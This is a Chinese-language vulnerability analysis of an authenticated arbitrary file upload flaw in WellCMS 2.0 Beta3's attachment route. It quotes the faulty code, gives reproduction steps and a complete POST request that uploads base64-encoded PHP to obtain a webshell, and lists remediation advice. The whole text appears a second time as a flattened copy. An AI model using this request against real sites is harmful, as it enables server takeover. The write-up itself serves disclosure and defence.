WellCMS 2.0 Beta3 后台任意文件上传
字数 1159 2025-08-26 22:11:57

WellCMS 2.0 Beta3 后台任意文件上传漏洞分析与利用

一、漏洞概述

WellCMS 2.0 Beta3 是一款开源、倾向移动端的轻量级CMS系统。该系统后台存在一个任意文件上传漏洞,攻击者可以通过构造特殊的POST请求,绕过文件类型检查,上传恶意PHP文件从而获取Webshell。

二、漏洞影响版本

WellCMS 2.0 Beta3 版本

三、漏洞原理分析

1. 漏洞位置

漏洞位于 route/attach.php 文件中的 create 操作处理逻辑。

2. 关键代码分析

// 接收参数
$data = param_base64('data');
$filetype = param('filetype'); // 上传文件类型参数可控
$is_image = param('is_image', 0); // 是否为图片
$convert = param('convert', 0); // 图片转换压缩标志
$t = param('t', 0); // 系统类型标志

// 文件扩展名处理逻辑
if (!in_array($ext, $filetypes['all'])) {
    $ext = '_' . $ext;
} else {
    // CMS上传图片的特殊处理
    $t == 1 AND $convert == 1 AND $is_image == 1 AND $ext = $filetype;
}

3. 漏洞成因

  1. 系统允许客户端通过filetype参数自定义上传文件的扩展名
  2. 当满足以下条件时,系统会直接使用客户端提供的filetype作为文件扩展名:
    • $t == 1(CMS模式)
    • $convert == 1(启用图片转换)
    • $is_image == 1(标记为图片上传)
  3. 缺乏对filetype参数的严格过滤,导致可以上传任意类型文件(如PHP)

四、漏洞复现步骤

1. 登录后台

首先需要获取后台管理员权限,登录WellCMS后台。

2. 定位上传点

进入后台管理界面,找到图片上传功能点(通常位于内容管理或附件管理模块)。

3. 构造恶意请求

  1. 正常上传一个图片文件并拦截请求
  2. 修改POST请求中的关键参数:
    • filetype参数值改为php
    • data参数值改为Base64编码的PHP代码(如<?php phpinfo();?>
    • 确保以下参数设置为1:
      • is_image=1
      • convert=1
      • t=1

4. 示例攻击数据包

POST /route/attach.php?action=create&t=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [管理员会话cookie]

backstage=1&width=0&height=0&is_image=1&name=test.jpg&data=data:image/jpeg;base64,PD9waHAgcGhwaW5mbygpOz8%2B&mode=0&filetype=php&convert=1&n=0&type=0

5. 获取Webshell

成功上传后,系统会返回上传文件的路径,直接访问该路径即可执行上传的PHP代码。

五、漏洞修复建议

  1. 严格限制filetype参数,只允许特定的图片格式(jpg, png, gif等)
  2. 在服务器端验证文件内容与实际扩展名是否匹配
  3. 对上传文件进行重命名,避免使用用户提供的文件名
  4. 将上传文件存储在非Web可访问目录,或配置Web服务器禁止执行上传目录中的PHP文件
  5. 添加文件内容检测机制,防止图片马的上传

六、漏洞利用注意事项

  1. 需要先获取后台管理员权限才能利用此漏洞
  2. 上传的PHP代码需要进行Base64编码
  3. 确保请求中包含必要的参数并设置为正确的值(t=1, convert=1, is_image=1)
  4. 实际攻击中可能需要根据目标环境调整数据包构造方式

七、技术总结

该漏洞属于典型的后台任意文件上传漏洞,由于缺乏对用户输入参数的严格过滤,导致攻击者可以上传恶意脚本文件。漏洞利用门槛较低但危害较大,攻击者成功利用后可完全控制网站服务器。建议使用该CMS的用户及时升级到最新版本或按照修复建议进行安全加固。

WellCMS 2.0 Beta3 后台任意文件上传漏洞分析与利用 一、漏洞概述 WellCMS 2.0 Beta3 是一款开源、倾向移动端的轻量级CMS系统。该系统后台存在一个任意文件上传漏洞,攻击者可以通过构造特殊的POST请求,绕过文件类型检查,上传恶意PHP文件从而获取Webshell。 二、漏洞影响版本 WellCMS 2.0 Beta3 版本 三、漏洞原理分析 1. 漏洞位置 漏洞位于 route/attach.php 文件中的 create 操作处理逻辑。 2. 关键代码分析 3. 漏洞成因 系统允许客户端通过 filetype 参数自定义上传文件的扩展名 当满足以下条件时,系统会直接使用客户端提供的 filetype 作为文件扩展名: $t == 1 (CMS模式) $convert == 1 (启用图片转换) $is_image == 1 (标记为图片上传) 缺乏对 filetype 参数的严格过滤,导致可以上传任意类型文件(如PHP) 四、漏洞复现步骤 1. 登录后台 首先需要获取后台管理员权限,登录WellCMS后台。 2. 定位上传点 进入后台管理界面,找到图片上传功能点(通常位于内容管理或附件管理模块)。 3. 构造恶意请求 正常上传一个图片文件并拦截请求 修改POST请求中的关键参数: 将 filetype 参数值改为 php 将 data 参数值改为Base64编码的PHP代码(如 <?php phpinfo();?> ) 确保以下参数设置为1: is_image=1 convert=1 t=1 4. 示例攻击数据包 5. 获取Webshell 成功上传后,系统会返回上传文件的路径,直接访问该路径即可执行上传的PHP代码。 五、漏洞修复建议 严格限制 filetype 参数,只允许特定的图片格式(jpg, png, gif等) 在服务器端验证文件内容与实际扩展名是否匹配 对上传文件进行重命名,避免使用用户提供的文件名 将上传文件存储在非Web可访问目录,或配置Web服务器禁止执行上传目录中的PHP文件 添加文件内容检测机制,防止图片马的上传 六、漏洞利用注意事项 需要先获取后台管理员权限才能利用此漏洞 上传的PHP代码需要进行Base64编码 确保请求中包含必要的参数并设置为正确的值(t=1, convert=1, is_ image=1) 实际攻击中可能需要根据目标环境调整数据包构造方式 七、技术总结 该漏洞属于典型的后台任意文件上传漏洞,由于缺乏对用户输入参数的严格过滤,导致攻击者可以上传恶意脚本文件。漏洞利用门槛较低但危害较大,攻击者成功利用后可完全控制网站服务器。建议使用该CMS的用户及时升级到最新版本或按照修复建议进行安全加固。